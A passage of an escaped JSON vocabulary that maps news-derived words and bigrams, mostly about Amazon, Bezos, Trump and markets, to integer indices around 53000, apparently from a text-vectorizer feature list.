\"deserve new\": 52983,\n  \"cola\": 52984,\n  \"video 2019\": 52985,\n  \"weekend sales\": 52986,\n  \"mirror felt\": 52987,\n  \"inventions diane\": 52988,\n  \"bloomberg says\": 52989,\n  \"service cnn\": 52990,\n  \"says reached\": 52991,\n  \"york hedge\": 52992,\n  \"overmediatext\": 52993,\n  \"ichan\": 52994,\n  \"wikileaks founder\": 52995,\n  \"supposedly\": 52996,\n  \"week noticed\": 52997,\n  \"young professionals\": 52998,\n  \"amazonians\": 52999,\n  \"involves bezos\": 53000,\n  \"help agencies\": 53001,\n  \"potentially control\": 53002,\n  \"brogrammers shows\": 53003,\n  \"longest bull\": 53004,\n  \"notthere\": 53005,\n  \"better pic\": 53006,\n  \"selling facial\": 53007,\n  \"billion gain\": 53008,\n  \"jarrett foto\": 53009,\n  \"horror movie\": 53010,\n  \"ship boxes\": 53011,\n  \"rose\": 53012,\n  \"trump affair\": 53013,\n  \"connection bezos\": 53014,\n  \"health corp\": 53015,\n  \"items prices\": 53016,\n  \"seriously encouraging\": 53017,\n  \"surveillance efforts\": 53018,\n  \"state ability\": 53019,\n  \"cohn domestic\": 53020,\n  \"operating rooms\": 53021,\n  \"net alistair\": 53022,\n  \"klion davidklion\": 53023,\n  \"based technology\": 53024,\n  \"98point6 assistant\": 53025,\n  \"splitting\": 53026,\n  \"fact facebook\": 53027,\n  \"house return\": 53028,\n  \"called sweetheart\": 53029,\n  \"cited amazon\": 53030,\n  \"vargas\": 53031,\n  \"cheap stocks\": 53032,\n  \"000 times\": 53033,\n  \"platform shift\": 53034,\n  \"party gains\": 53035,\n  \"eder ben\": 53036,\n  \"org fox\": 53037,\n  \"ap wayne\": 53038,\n  \"wildenstein paid\": 53039,\n  \"commission isn\": 53040,\n  \"traditional corridors\": 53041,\n  \"counterfeiting huge\": 53042,\n  \"karen tumulty\": 53043,\n  \"ariel investments\": 53044,\n  \"exhibitions\": 53045,\n  \"2017 net\": 53046,\n  \"james damore\": 53047,\n  \"moving workers\": 53048,\n  \"culture issues\": 53049,\n  \"phoned\": 53050,\n  \"group fires\": 53051,\n  \"sharecast\": 53052,\n  \"expansion starts\": 53053,\n  \"insider spokesman\": 53054,\n  \"picking screens\": 53055,\n  \"imagination taking\": 53056,\n  \"vinci\": 53057,\n  \"trustthe people\": 53058,\n  \"infringing content\": 53059,\n  \"2020 big\": 53060,\n  \"better understand\": 53061,\n  \"safe places\": 53062,\n  \"real read\": 53063,\n  \"lenovo told\": 53064,\n  \"ky senate\": 53065,\n  \"kron\": 53066,\n  \"sea holiday\": 53067,\n  \"prescribes raising\": 53068,\n  \"matter ramping\": 53069,\n  \"arbitrary\": 53070,\n  \"imdb darren\": 53071,\n  \"towns prime\": 53072,\n  \"app source\": 53073,\n  \"vandermeer\": 53074,\n  \"alleged photos\": 53075,\n  \"country organizations\": 53076,\n  \"animated series\": 53077,\n  \"starting pre\": 53078,\n  \"preorder discount\": 53079,\n  \"trump questioned\": 53080,\n  \"content drive\": 53081,\n  \"syndicate\": 53082,\n  \"years 172\": 53083,\n  \"8am cbsmiami\": 53084,\n  \"gmt retired\": 53085,\n  \"news fnn\": 53086,\n  \"man battles\": 53087,\n  \"costumes british\": 53088,\n  \"suitor enters\": 53089,\n  \"producing comprehensive\": 53090,\n  \"models great\": 53091,\n  \"manipulations\": 53092,\n  \"relying\": 53093,\n  \"upskill\": 53094,\n  \"married madison\": 53095,\n  \"change morgan\": 53096,\n  \"cherishes\": 53097,\n  \"discussed using\": 53098,\n  \"trump promising\": 53099,\n  \"jackie bezos\": 53100,\n  \"created memorable\": 53101,\n  \"jones warns\": 53102,\n  \"deforestation efforts\": 53103,\n  \"asked peter\": 53104,\n  \"cash data\": 53105,\n  \"organic essential\": 53106,\n  \"montessori based\": 53107,\n  \"suffering billion\": 53108,\n  \"new updates\": 53109,\n  \"guide michael\": 53110,\n  \"counterfeits plague\": 53111,\n  \"matter louis\": 53112,\n  \"services ceo\": 53113,\n  \"post mother\": 53114,\n  \"entrepreneur peter\": 53115,\n  \"press rep\": 53116,\n  \"howard ami\": 53117,\n  \"kill karen\": 53118,\n  \"awful anti\": 53119,\n  \"treat workers\": 53120,\n  \"business orig\": 53121,\n  \"disappointment\": 53122,\n  \"squicky\": 53123,\n  \"mining chip\": 53124,\n  \"loan modification\": 53125,\n  \"fatal interaction\": 53126,\n  \"ecg\": 53127,\n  \"title party\": 53128,\n  \"importantly republican\": 53129,\n  \"controlled congress\": 53130,\n  \"currently helps\": 53131,\n  \"trump warren\": 53132,\n  \"harrowing pulled\": 53133,\n  \"losses poll\": 53134,\n  \"runs competitive\": 53135,\n  \"reinstate\": 53136,\n  \"company user\": 53137,\n  \"largest hedge\": 53138,\n  \"reunification pose\": 53139,\n  \"located amazon\": 53140,\n  \"critical editorials\": 53141,\n  \"adeft\": 53142,\n  \"legitimately traded\": 53143,\n  \"waste stream\": 53144,\n  \"frequent aim\": 53145,\n  \"interconnection\": 53146,\n  \"america 45th\": 53147,\n  \"market including\": 53148,\n  \"overthrow\": 53149,\n  \"americans including\": 53150,\n  \"forest service\": 53151,\n  \"net income\": 53152,\n  \"don feel\": 53153,\n  \"championship champion\": 53154,\n  \"bartiromo company\": 53155,\n  \"driven volatility\": 53156,\n  \"china version\": 53157,\n  \"china rural\": 53158,\n  \"raising payouts\": 53159,\n  \"controversial measure\": 53160,\n  \"things work\": 53161,\n  \"hit piece\": 53162,\n  \"davis set\": 53163,\n  \"tillerson\": 53164,\n  \"potentially losing\": 53165,\n  \"alaniz maintained\": 53166,\n  \"subset\": 53167,\n  \"stanley added\": 53168,\n  \"manhattan\": 53169,\n  \"steve koenig\": 53170,\n  \"investigation calling\": 53171,\n  \"ashoka mody\": 53172,\n  \"2013 does\": 53173,\n  \"cabaniss\": 53174,\n  \"centuple\": 53175,\n  \"tmus\": 53176,\n  \"pronouncement elizabeth\": 53177,\n  \"laws jim\": 53178,\n  \"capital infusion\": 53179,\n  \"contractual relationship\": 53180,\n  \"canada walmart\": 53181,\n  \"ellison weighing\": 53182,\n  \"licensed\": 53183,\n  \"temporary residence\": 53184,\n  \"morici 415\": 53185,\n  \"nyc hq\": 53186,\n  \"muteplayerenabled\": 53187,\n  \"disgusted\": 53188,\n  \"held qualified\": 53189,\n  \"crowded democratic\": 53190,\n  \"kosovar victims\": 53191,\n  \"men used\": 53192,\n  \"core principles\": 53193,\n  \"indestructible\": 53194,\n  \"soothing embedded\": 53195,\n  \"american president\": 53196,\n  \"plant gou\": 53197,\n  \"contf contfnew\": 53198,\n  \"lifetime relied\": 53199,\n  \"stopped short\": 53200,\n  \"watershed moment\": 53201,\n  \"refunds sending\": 53202,\n  \"sites dozens\": 53203,\n  \"technology entrepreneur\": 53204,\n  \"political director\": 53205,\n  \"perfecting\": 53206,\n  \"rt 385x240\": 53207,\n  \"individual shipments\": 53208,\n  \"eurozone economy\": 53209,\n  \"665 words\": 53210,\n  \"capital formation\": 53211,\n  \"freed states\": 53212,\n  \"americans fell\": 53213,\n  \"narratives trump\": 53214,\n  \"exclusive monopoly\": 53215,\n  \"regularly threatens\": 53216,\n  \"tennessee laura\": 53217,\n  \"sends health\": 53218,\n  \"pork rinds\": 53219,\n  \"rival lyft\": 53220,\n  \"commotion investors\": 53221,\n  \"premature\": 53222,\n  \"week senator\": 53223,\n  \"allbright\": 53224,\n  \"alice story\": 53225,\n  \"months\": 53226,\n  \"aide tried\": 53227,\n  \"dominant positions\": 53228,\n  \"testing new\": 53229,\n  \"product cardigan\": 53230,\n  \"gene lyons\": 53231,\n  \"house administration\": 53232,\n  \"mosqueda\": 53233,\n  \"ge general\": 53234,\n  \"fabled hq2\": 53235,\n  \"tax think\": 53236,\n  \"dominant platform\": 53237,\n  \"plus custody\": 53238,\n  \"onthe southern\": 53239,\n  \"mining executives\": 53240,\n  \"important truth\": 53241,\n  \"meaning investors\": 53242,\n  \"komonews pic\": 53243,\n  \"bale kevin\": 53244,\n  \"filling cemeteries\": 53245,\n  \"owns separately\": 53246,\n  \"mid 2016\": 53247,\n  \"mirrors 2016\": 53248,\n  \"range target\": 53249,\n  \"entry morgan\": 53250,\n  \"lind\": 53251,\n  \"green dream\": 53252,\n  \"wrench\": 53253,\n  \"namesake\": 53254,\n  \"set magic\": 53255,\n  \"industry news\": 53256,\n  \"washington ap\": 53257,\n  \"commissions\": 53258,\n  \"challenged rival\": 53259,\n  \"announced proposed\": 53260,\n  \"substantially expanding\": 53261,\n  \"boar\": 53262,\n  \"owns cnbc\": 53263,\n  \"channel fraud\": 53264,\n  \"polly text\": 53265,\n  \"measure gm\": 53266,\n  \"service ability\": 53267,\n  \"search histories\": 53268,\n  \"ebt\": 53269,\n  \"triggered trump\": 53270,\n  \"administration muslim\": 53271,\n  \"outlined plans\": 53272,\n  \"good compromise\": 53273,\n  \"pose questions\": 53274,\n  \"avoided engaging\": 53275,\n  \"earnings outlook\": 53276,\n  \"professor named\": 53277,\n  \"far longer\": 53278,\n  \"oejeff\": 53279,\n  \"lucas mexico\": 53280,\n  \"critically important\": 53281,\n  \"left good\": 53282,\n  \"sister hostage\": 53283,\n  \"history brazil\": 53284,\n  \"sun online\": 53285,\n  \"americans spend\": 53286,\n  \"visit convinced\": 53287,\n  \"disclosures facebook\": 53288,\n  \"elkan abromowitz\": 53289,\n  \"health outcomes\": 53290,\n  \"michigan ford\": 53291,\n  \"innovation queens\": 53292,\n  \"chief graziano\": 53293,\n  \"gulftimes china\": 53294,\n  \"corporate fight\": 53295,\n  \"depth article\": 53296,\n  \"episode follows\": 53297,\n  \"foster wallace\": 53298,\n  \"special attention\": 53299,\n  \"med\": 53300,\n  \"sank\": 53301,\n  \"180 000\": 53302,\n  \"516 class\": 53303,\n  \"stop a4ee\": 53304,\n  \"campaign schoolstrike4climate\": 53305,\n  \"disgraceful record\": 53306,\n  \"registry portal\": 53307,\n  \"tex border\": 53308,\n  \"white striped\": 53309,\n  \"prosecuted\": 53310,\n  \"people fears\": 53311,\n  \"nude melania\": 53312,\n  \"county board\": 53313,\n  \"fund columbus\": 53314,\n  \"glorified\": 53315,\n  \"foreign emoluments\": 53316,\n  \"school kid\": 53317,\n  \"labs discussed\": 53318,\n  \"responded lot\": 53319,\n  \"right originally\": 53320,\n  \"lodged criticisms\": 53321,\n  \"approaching trillion\": 53322,\n  \"velcro ties\": 53323,\n  \"local smartphone\": 53324,\n  \"svendsen\": 53325,\n  \"miscalculation\": 53326,\n  \"release soon\": 53327,\n  \"persistence pays\": 53328,\n  \"swoop don\": 53329,\n  \"muscle\": 53330,\n  \"unfair tax\": 53331,\n  \"offering stocks\": 53332,\n  \"profile divorces\": 53333,\n  \"amendment ironically\": 53334,\n  \"skinny slit\": 53335,\n  \"twitter omg\": 53336,\n  \"banning bump\": 53337,\n  \"team view\": 53338,\n  \"melania slumming\": 53339,\n  \"foxconn provided\": 53340,\n  \"lincoln took\": 53341,\n  \"star netflix\": 53342,\n  \"pursue german\": 53343,\n  \"adai sai\": 53344,\n  \"predictions robert\": 53345,\n  \"annual earnings\": 53346,\n  \"roads railways\": 53347,\n  \"showurl shows\": 53348,\n  \"currency fluctuations\": 53349,\n  \"forecasts shares\": 53350,\n  \"data possibly\": 53351,\n  \"asylum policies\": 53352,\n  \"site selection\": 53353,\n  \"polemic\": 53354,\n  \"customers investors\": 53355,\n  \"camping\": 53356,\n  \"creative innovators\": 53357,\n  \"kalanick led\": 53358,\n  \"hebrew surveys\": 53359,\n  \"database mongodb\": 53360,\n  \"kidman badassery\": 53361,\n  \"fresh readings\": 53362,\n  \"registeredin false\": 53363,\n  \"partners confirmed\": 53364,\n  \"rubbish amazon\": 53365,\n  \"190 basis\": 53366,\n  \"neutralize\": 53367,\n  \"contract agreement\": 53368,\n  \"offensive mccain\": 53369,\n  \"sales calls\": 53370,\n  \"artificiality\": 53371,\n  \"recent takeover\": 53372,\n  \"purpose think\": 53373,\n  \"photos washington\": 53374,\n  \"advisory lc\": 53375,\n  \"months debating\": 53376,\n  \"strong separately\": 53377,\n  \"big difference\": 53378,\n  \"queens killed\": 53379,\n  \"thu pham\": 53380,\n  \"despicable act\": 53381,\n  \"ted\": 53382,\n  \"ipo shares\": 53383,\n  \"2019 alexander\": 53384,\n  \"manufacturing index\": 53385,\n  \"amzn announced\": 53386,\n  \"public financing\": 53387,\n  \"fundraising month\": 53388,\n  \"constant churn\": 53389,\n  \"griffeth dunkin\": 53390,\n  \"magnate john\": 53391,\n  \"ironic sympathize\": 53392,\n  \"shanker sees\": 53393,\n  \"prosecutors donald\": 53394,\n  \"politically diverse\": 53395,\n  \"growing recognition\": 53396,\n  \"critical need\": 53397,\n  \"almonds anchovies\": 53398,\n  \"locomotive\": 53399,\n  \"iowa fast\": 53400,\n  \"party austerity\": 53401,\n  \"way don\": 53402,\n  \"capitalist advises\": 53403,\n  \"identify fraudulent\": 53404,\n  \"abroad leader\": 53405,\n  \"area needed\": 53406,\n  \"arts center\": 53407,\n  \"notes amazon\": 53408,\n  \"regulators started\": 53409,\n  \"nancy\": 53410,\n  \"googl\": 53411,\n  \"scholars progressive\": 53412,\n  \"web portal\": 53413,\n  \"accompany\": 53414,\n  \"giving substance\": 53415,\n  \"privacy watchdog\": 53416,\n  \"post concludes\": 53417,\n  \"unknown origin\": 53418,\n  \"nasty dispute\": 53419,\n  \"trump adam\": 53420,\n  \"notoriety primarily\": 53421,\n  \"retailer wiped\": 53422,\n  \"players meaning\": 53423,\n  \"167 condemned\": 53424,\n  \"fro\": 53425,\n  \"olick takes\": 53426,\n  \"sold small\": 53427,\n  \"gargantuan gains\": 53428,\n  \"fargo meltdown\": 53429,\n  \"reported loss\": 53430,\n  \"cd addclass\": 53431,\n  \"07810\": 53432,\n  \"centred\": 53433,\n  \"prime office\": 53434,\n  \"thissituation\": 53435,\n  \"enquirer release\": 53436,\n  \"amazon wapo\": 53437,\n  \"jedi raises\": 53438,\n  \"dailyshot\": 53439,\n  \"alexa existing\": 53440,\n  \"quote fear\": 53441,\n  \"fleeing violence\": 53442,\n  \"mass ratcheted\": 53443,\n  \"hating\": 53444,\n  \"austin community\": 53445,\n  \"trump gesture\": 53446,\n  \"ardent supporters\": 53447,\n  \"largest day\": 53448,\n  \"service contact\": 53449,\n  \"alphabet staffers\": 53450,\n  \"press nbc\": 53451,\n  \"fed acted\": 53452,\n  \"margin revenue\": 53453,\n  \"week thisweekabc\": 53454,\n  \"usni\": 53455,\n  \"ferdinando giugliano\": 53456,\n  \"whispers\": 53457,\n  \"whodunit\": 53458,\n  \"dwindling airbus\": 53459,\n  \"movetonexttimeout settimeout\": 53460,\n  \"rachel dolezal\": 53461,\n  \"component\": 53462,\n  \"thrilled carell\": 53463,\n  \"sympathized\": 53464,\n  \"strengthened\": 53465,\n  \"baker center\": 53466,\n  \"publishes transparency\": 53467,\n  \"food pouches\": 53468,\n  \"remove uncertainty\": 53469,\n  \"germany verdi\": 53470,\n  \"pinpoint particular\": 53471,\n  \"employees relocated\": 53472,\n  \"adamantly\": 53473,\n  \"website rated\": 53474,\n  \"jarige die\": 53475,\n  \"little discernible\": 53476,\n  \"swamp really\": 53477,\n  \"previously published\": 53478,\n  \"sourcetasos katopodis\": 53479,\n  \"young black\": 53480,\n  \"longstanding logjam\": 53481,\n  \"1967\": 53482,\n  \"wpp\": 53483,\n  \"960x0 jpg\": 53484,\n  \"pfoa\": 53485,\n  \"city looking\": 53486,\n  \"administration paid\": 53487,\n  \"look love\": 53488,\n  \"high paying\": 53489,\n  \"93million bezos\": 53490,\n  \"jets possibly\": 53491,\n  \"forced separations\": 53492,\n  \"payouts hit\": 53493,\n  \"scary prospect\": 53494,\n  \"amazon installs\": 53495,\n  \"president requests\": 53496,\n  \"washington read\": 53497,\n  \"billion procurement\": 53498,\n  \"exceed amazon\": 53499,\n  \"hasn hid\": 53500,\n  \"week listing\": 53501,\n  \"sales erases\": 53502,\n  \"looming packs\": 53503,\n  \"1028et\": 53504,\n  \"accurate amazon\": 53505,\n  \"research amazon\": 53506,\n  \"noisy progressive\": 53507,\n  \"business fueled\": 53508,\n  \"billion pounds\": 53509,\n  \"columnist philip\": 53510,\n  \"regulate opioid\": 53511,\n  \"emerged ahead\": 53512,\n  \"ford accuser\": 53513,\n  \"shane smith\": 53514,\n  \"hospital illinois\": 53515,\n  \"campaign organizer\": 53516,\n  \"growth forecast\": 53517,\n  \"701\": 53518,\n  \"tax companies\": 53519,\n  \"deepti varma\": 53520,\n  \"lawrence\": 53521,\n  \"abrader\": 53522,\n  \"trump political\": 53523,\n  \"tesla motors\": 53524,\n  \"alleged adventure\": 53525,\n  \"online goliath\": 53526,\n  \"villainous politician\": 53527,\n  \"health setback\": 53528,\n  \"past demarcations\": 53529,\n  \"contracts behold\": 53530,\n  \"marriage apropos\": 53531,\n  \"says community\": 53532,\n  \"919 billion\": 53533,\n  \"capable\": 53534,\n  \"leaves bezos\": 53535,\n  \"ara\\u00fajo calls\": 53536,\n  \"m4 var\": 53537,\n  \"employee receives\": 53538,\n  \"million windfall\": 53539,\n  \"americans mailboxes\": 53540,\n  \"veteran center\": 53541,\n  \"attended hillary\": 53542,\n  \"broke ground\": 53543,\n  \"succeed obama\": 53544,\n  \"zinkes\": 53545,\n  \"biggest questions\": 53546,\n  \"carrier shipping\": 53547,\n  \"including sorting\": 53548,\n  \"amazon billions\": 53549,\n  \"pubescent males\": 53550,\n  \"vermont told\": 53551,\n  \"ronald reagan\": 53552,\n  \"open business\": 53553,\n  \"incoming\": 53554,\n  \"believe retail\": 53555,\n  \"rachel needs\": 53556,\n  \"congressional letters\": 53557,\n  \"addled fixated\": 53558,\n  \"strewn\": 53559,\n  \"fiction book\": 53560,\n  \"george maziarz\": 53561,\n  \"alexa request\": 53562,\n  \"uniformly\": 53563,\n  \"amazon bestsellers\": 53564,\n  \"commuting hours\": 53565,\n  \"tax day\": 53566,\n  \"ice investigations\": 53567,\n  \"intervene read\": 53568,\n  \"interesting work\": 53569,\n  \"lauding amazon\": 53570,\n  \"tax amnesty\": 53571,\n  \"hill perched\": 53572,\n  \"481\": 53573,\n  \"help train\": 53574,\n  \"kyo maclear\": 53575,\n  \"backlog\": 53576,\n  \"abject failure\": 53577,\n  \"bank tsx\": 53578,\n  \"taps unspoken\": 53579,\n  \"readers couldn\": 53580,\n  \"veronika nikulshina\": 53581,\n  \"yorker recode\": 53582,\n  \"away fake\": 53583,\n  \"published flattering\": 53584,\n  \"says ocasio\": 53585,\n  \"related does\": 53586,\n  \"subsidies elected\": 53587,\n  \"preached\": 53588,\n  \"lee worldwide\": 53589,\n  \"american commerce\": 53590,\n  \"hits book\": 53591,\n  \"took swerve\": 53592,\n  \"positively\": 53593,\n  \"expedite\": 53594,\n  \"bezos maintained\": 53595,\n  \"discuss emerging\": 53596,\n  \"loss new\": 53597,\n  \"latest warning\": 53598,\n  \"began attending\": 53599,\n  \"globe service\": 53600,\n  \"lobbying person\": 53601,\n  \"basement filene\": 53602,\n  \"research laboratories\": 53603,\n  \"russell vought\": 53604,\n  \"years attacking\": 53605,\n  \"copies sold\": 53606,\n  \"drug crisis\": 53607,\n  \"largest pharmaceutical\": 53608,\n  \"new methodology\": 53609,\n  \"contributed net\": 53610,\n  \"particularly energy\": 53611,\n  \"roughly 130\": 53612,\n  \"img_h 1542\": 53613,\n  \"caravan shot\": 53614,\n  \"controlled computers\": 53615,\n  \"years google\": 53616,\n  \"net wins\": 53617,\n  \"phil bryant\": 53618,\n  \"rossi\": 53619,\n  \"tells jimcramer\": 53620,\n  \"seeing lauren\": 53621,\n  \"leave proposals\": 53622,\n  \"amazonnews\": 53623,\n  \"month data\": 53624,\n  \"wildfires burn\": 53625,\n  \"strategy change\": 53626,\n  \"long distance\": 53627,\n  \"epidemic\": 53628,\n  \"shadowy\": 53629,\n  \"market forces\": 53630,\n  \"spain amazon\": 53631,\n  \"360 showname\": 53632,\n  \"community property\": 53633,\n  \"time bloomberg\": 53634,\n  \"open amazon\": 53635,\n  \"riders fare\": 53636,\n  \"store united\": 53637,\n  \"china technology\": 53638,\n  \"img_gettyflag\": 53639,\n  \"stocks right\": 53640,\n  \"mlb draft\": 53641,\n  \"federal travel\": 53642,\n  \"internet world\": 53643,\n  \"property ip\": 53644,\n  \"grape\": 53645,\n  \"buying pillpack\": 53646,\n  \"shows republicans\": 53647,\n  \"leading player\": 53648,\n  \"icon senator\": 53649,\n  \"brennan says\": 53650,\n  \"integrating\": 53651,\n  \"service pre\": 53652,\n  \"whims\": 53653,\n  \"caps amazon\": 53654,\n  \"iran iraq\": 53655,\n  \"enforcement action\": 53656,\n  \"reopening\": 53657,\n  \"help patients\": 53658,\n  \"863\": 53659,\n  \"antitrust problem\": 53660,\n  \"2017 michael\": 53661,\n  \"google larry\": 53662,\n  \"prostitution minutes\": 53663,\n  \"hitting record\": 53664,\n  \"left 10best\": 53665,\n  \"house tomorrow\": 53666,\n  \"everytown counts\": 53667,\n  \"personal blog\": 53668,\n  \"pesticides rainforest\": 53669,\n  \"curb\": 53670,\n  \"dipped nearly\": 53671,\n  \"ramseur\": 53672,\n  \"vendor choices\": 53673,\n  \"traditional search\": 53674,\n  \"publicly state\": 53675,\n  \"process don\": 53676,\n  \"surrounding working\": 53677,\n  \"tyrone\": 53678,\n  \"heavily subsidized\": 53679,\n  \"assumes\": 53680,\n  \"microphone remotely\": 53681,\n  \"favourable stories\": 53682,\n  \"valor econ\\u00f4mico\": 53683,\n  \"wealth indonesia\": 53684,\n  \"global tree\": 53685,\n  \"sent copy\": 53686,\n  \"mock\": 53687,\n  \"travel thriller\": 53688,\n  \"contrived investigation\": 53689,\n  \"loan benefits\": 53690,\n  \"stock return\": 53691,\n  \"site quotes\": 53692,\n  \"becker revealed\": 53693,\n  \"axios look\": 53694,\n  \"government cash\": 53695,\n  \"upcoming\": 53696,\n  \"facial recognition\": 53697,\n  \"growth investors\": 53698,\n  \"canvas leather\": 53699,\n  \"newly named\": 53700,\n  \"conference obama\": 53701,\n  \"member stacey\": 53702,\n  \"amazon absorbed\": 53703,\n  \"unfeasible\": 53704,\n  \"massive presence\": 53705,\n  \"2017 twitter\": 53706,\n  \"dairy\": 53707,\n  \"sneakily\": 53708,\n  \"denuclearlized\": 53709,\n  \"bryan fuller\": 53710,\n  \"insiders home\": 53711,\n  \"clip david\": 53712,\n  \"working mom\": 53713,\n  \"mocks donald\": 53714,\n  \"individuals notably\": 53715,\n  \"venerable\": 53716,\n  \"beth pearce\": 53717,\n  \"q4 aws\": 53718,\n  \"saudi kingdom\": 53719,\n  \"queens sculptor\": 53720,\n  \"tariffs surrendering\": 53721,\n  \"page spread\": 53722,\n  \"privately attempted\": 53723,\n  \"wearing bezos\": 53724,\n  \"communist nation\": 53725,\n  \"interesting bartiromo\": 53726,\n  \"a4ee p8\": 53727,\n  \"inter workings\": 53728,\n  \"sent prices\": 53729,\n  \"industry pardon\": 53730,\n  \"wisely spend\": 53731,\n  \"created cryptocurrency\": 53732,\n  \"hoeft yuma\": 53733,\n  \"highest beverage\": 53734,\n  \"terrific job\": 53735,\n  \"connections saudi\": 53736,\n  \"venture christian\": 53737,\n  \"scraped headlines\": 53738,\n  \"sale just\": 53739,\n  \"second fiscal\": 53740,\n  \"people listing\": 53741,\n  \"reasonable known\": 53742,\n  \"talks productive\": 53743,\n  \"empathetic young\": 53744,\n  \"careers\": 53745,\n  \"direct retailer\": 53746,\n  \"george conway\": 53747,\n  \"2017 win\": 53748,\n  \"funds set\": 53749,\n  \"easement\": 53750,\n  \"indication whatsoever\": 53751,\n  \"reuters quoting\": 53752,\n  \"failures christine\": 53753,\n  \"inflows slide\": 53754,\n  \"enquirer person\": 53755,\n  \"sellen ryan\": 53756,\n  \"contenttype\": 53757,\n  \"bay company\": 53758,\n  \"night tweet\": 53759,\n  \"amazon proposed\": 53760,\n  \"packages regardless\": 53761,\n  \"clothing lines\": 53762,\n  \"newsletters page\": 53763,\n  \"amazon means\": 53764,\n  \"voluntary fare\": 53765,\n  \"spending numbers\": 53766,\n  \"governor read\": 53767,\n  \"books despite\": 53768,\n  \"shares camarda\": 53769,\n  \"annually read\": 53770,\n  \"longtime employers\": 53771,\n  \"npr trump\": 53772,\n  \"bp read\": 53773,\n  \"case abramson\": 53774,\n  \"goods electronics\": 53775,\n  \"_trksid p2380057\": 53776,\n  \"willie\": 53777,\n  \"abilities\": 53778,\n  \"new headquarters\": 53779,\n  \"formulated\": 53780,\n  \"story sailor\": 53781,\n  \"iwas able\": 53782,\n  \"hope jim\": 53783,\n  \"998660306225201153\": 53784,\n  \"supremacist literature\": 53785,\n  \"lobbed criticism\": 53786,\n  \"recode media\": 53787,\n  \"including nordstrom\": 53788,\n  \"complaints jimmy\": 53789,\n  \"trump adjacent\": 53790,\n  \"florida parkland\": 53791,\n  \"207 american\": 53792,\n  \"trump demanding\": 53793,\n  \"julie brown\": 53794,\n  \"customers intrigued\": 53795,\n  \"grand central\": 53796,\n  \"lawmaker slams\": 53797,\n  \"portfolio hall\": 53798,\n  \"supremacist called\": 53799,\n  \"hearing room\": 53800,\n  \"images photo\": 53801,\n  \"society according\": 53802,\n  \"amazon strictly\": 53803,\n  \"escalate\": 53804,\n  \"oppose allowing\": 53805,\n  \"disinformation fake\": 53806,\n  \"herera time\": 53807,\n  \"wmt target\": 53808,\n  \"stir resentment\": 53809,\n  \"fallen kingdom\": 53810,\n  \"new provision\": 53811,\n  \"abish\": 53812,\n  \"manley johnson\": 53813,\n  \"ago leaders\": 53814,\n  \"congressmembers jos\\u00e9\": 53815,\n  \"owner investment\": 53816,\n  \"sanders expanding\": 53817,\n  \"vietnam veteran\": 53818,\n  \"workers educated\": 53819,\n  \"mcsally conceded\": 53820,\n  \"today sent\": 53821,\n  \"cathedral named\": 53822,\n  \"amazon dominated\": 53823,\n  \"shiite militias\": 53824,\n  \"torres\": 53825,\n  \"hand source\": 53826,\n  \"thinking amazon\": 53827,\n  \"trump added\": 53828,\n  \"just bought\": 53829,\n  \"checks president\": 53830,\n  \"real home\": 53831,\n  \"olick nightly\": 53832,\n  \"toll bridges\": 53833,\n  \"brazilian civil\": 53834,\n  \"common stock\": 53835,\n  \"t1 a4ee\": 53836,\n  \"class background\": 53837,\n  \"ami ami\": 53838,\n  \"initmeta\": 53839,\n  \"layoff workers\": 53840,\n  \"safe redundancy\": 53841,\n  \"holds hearing\": 53842,\n  \"kenmore appliances\": 53843,\n  \"seattle resident\": 53844,\n  \"crane\": 53845,\n  \"mice release\": 53846,\n  \"plastic guns\": 53847,\n  \"residents regardless\": 53848,\n  \"tabloids dishing\": 53849,\n  \"offer quartz\": 53850,\n  \"did pay\": 53851,\n  \"slideshow false\": 53852,\n  \"amazon soared\": 53853,\n  \"sites unfairly\": 53854,\n  \"biased\": 53855,\n  \"stellar quarter\": 53856,\n  \"mevissen rabobank\": 53857,\n  \"dosomething\": 53858,\n  \"etf nancy\": 53859,\n  \"pay united\": 53860,\n  \"ounce letters\": 53861,\n  \"indiana middle\": 53862,\n  \"cruelty\": 53863,\n  \"opinion editorials\": 53864,\n  \"response notes\": 53865,\n  \"stress\": 53866,\n  \"vegas bookmakers\": 53867,\n  \"nayef dethroning\": 53868,\n  \"sold 285\": 53869,\n  \"million monthly\": 53870,\n  \"posted press\": 53871,\n  \"leak michael\": 53872,\n  \"siri assistant\": 53873,\n  \"awful history\": 53874,\n  \"mail hope\": 53875,\n  \"data vulnerable\": 53876,\n  \"pleads\": 53877,\n  \"huge online\": 53878,\n  \"hurting california\": 53879,\n  \"forgot bezos\": 53880,\n  \"struck collusion\": 53881,\n  \"priced plans\": 53882,\n  \"targeting opens\": 53883,\n  \"uu0wzyvqf2 charlie\": 53884,\n  \"really making\": 53885,\n  \"groups environmental\": 53886,\n  \"election interference\": 53887,\n  \"dominant online\": 53888,\n  \"locks gain\": 53889,\n  \"eligible items\": 53890,\n  \"prices president\": 53891,\n  \"leaders house\": 53892,\n  \"making relatively\": 53893,\n  \"workers john\": 53894,\n  \"praised apple\": 53895,\n  \"gulf\": 53896,\n  \"coverage michael\": 53897,\n  \"content bookmark\": 53898,\n  \"zuckerberg lottery\": 53899,\n  \"strange relationship\": 53900,\n  \"zinke knew\": 53901,\n  \"children arriving\": 53902,\n  \"leaders gathered\": 53903,\n  \"shared story\": 53904,\n  \"storage platform\": 53905,\n  \"enumerating\": 53906,\n  \"assault doesn\": 53907,\n  \"underpaid jeff\": 53908,\n  \"desk\": 53909,\n  \"acute flaccid\": 53910,\n  \"unbiased organization\": 53911,\n  \"ct 596\": 53912,\n  \"biased facebook\": 53913,\n  \"vocal criticism\": 53914,\n  \"candidates qualified\": 53915,\n  \"year printing\": 53916,\n  \"respective quests\": 53917,\n  \"beer alliance\": 53918,\n  \"nadella listens\": 53919,\n  \"fully understood\": 53920,\n  \"termism created\": 53921,\n  \"family lifestyles\": 53922,\n  \"echo spot\": 53923,\n  \"house based\": 53924,\n  \"yewande\": 53925,\n  \"ebay liable\": 53926,\n  \"president inner\": 53927,\n  \"makes inroads\": 53928,\n  \"growing complaints\": 53929,\n  \"tax code\": 53930,\n  \"old information\": 53931,\n  \"eric ulrich\": 53932,\n  \"opened store\": 53933,\n  \"baselessly\": 53934,\n  \"movie star\": 53935,\n  \"joining\": 53936,\n  \"41st annual\": 53937,\n  \"bloomberg billionaire\": 53938,\n  \"hit 000\": 53939,\n  \"including dubious\": 53940,\n  \"drugmakers sure\": 53941,\n  \"glow netflix\": 53942,\n  \"mandalay bay\": 53943,\n  \"detain\": 53944,\n  \"server infrastructure\": 53945,\n  \"current campus\": 53946,\n  \"sawyer pointone\": 53947,\n  \"dish\": 53948,\n  \"allegedly filmed\": 53949,\n  \"riverhead somalian\": 53950,\n  \"underscored 